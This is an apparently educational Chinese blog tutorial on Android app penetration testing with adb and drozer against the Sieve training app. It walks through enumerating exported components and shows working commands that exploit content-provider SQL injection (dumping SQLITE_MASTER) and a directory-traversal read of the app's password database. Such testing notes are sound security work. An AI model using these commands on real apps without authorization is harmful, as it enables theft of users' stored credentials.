APP渗透基础
# 前言
由于最近进行了很多 APP 渗透测试,也是学习到了很多,现将所学结合其他师傅的博客内容一起来写记录一下
参考连接:
https://blog.csdn.net/qq_42067124/article/details/129803628
# 利用工具:
1、夜神模拟器
2、drozer
3、HijackAPP
4、apk_tool
5、AndroidKiller_v1.3.1
6、adb
# 利用步骤
# 连接夜神模拟器
adb connect 127.0.0.1:62001
除了模拟器还能用手机安装drozer进行连接,模拟器抓包有时会被封号,而且很多功能并不能像手机一样使用,可能连APP都打不开,手机进行连接可打开开发者模式,然后可选择WiFi连接或USB连接,经过实验,WiFi很可能连不上,建议拿一根数据线进行USB连接。
# 端口转发
adb forward tcp:31415 tcp:31415
# 连接
drozer.bat console connect
# 列出包
run app.package.list
# 查看攻击面
run app.package.list -f packagename
举例
## 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
packagename 是包名。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,并且开启了 debug 模式。
# Activity
风险点:
未授权访问(信息泄漏)
拒绝服务(发送空 / 畸形数据)
activity 劫持
# 获取可导出 activity
## run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
调用对应的 activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)
## run app.activity.start --component <packagename> <component>
## run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
# 测试是否存在 Activity 劫持
在打开原 activity 的基础上,调用此组件,如果 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞,否则不存在漏洞。
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
# ContentProvider
风险点:
# 信息泄漏
# 注入漏洞
Content Provider 中的注入漏洞允许攻击者向 Content Provider 中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行 SQL 注入攻击,从而获取或修改 Content Provider 中的数据。如果 Content Provider 中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。
run scanner.provider.injection -a 包名
# 目录遍历漏洞
使用 ContentProvider.openFile () 可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问 Content Provider 中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改 Content Provider 中的文件,导致严重的安全问题。
# 获取提供者信息
## run scanner.provider.finduris -a <packagename>
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
获取到之后,利用 run app.provider.query 读取
run app.provider.query 路径
# 查询数据
## run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 1 | null |
# 查询是否存在注入
## run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
# 利用注入
## 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type | name| tbl_name| rootpage | sql|
| table | android_metadata | android_metadata | 3| CREATE TABLE android_metadata (locale TEXT)|
| table | Passwords| Passwords| 4| CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key| Key| 5| CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
# 查询是否存在目录遍历
## run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
# 利用目录遍历读取文件
## run app.provider.read <uri>
dz> run app.provider.read dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db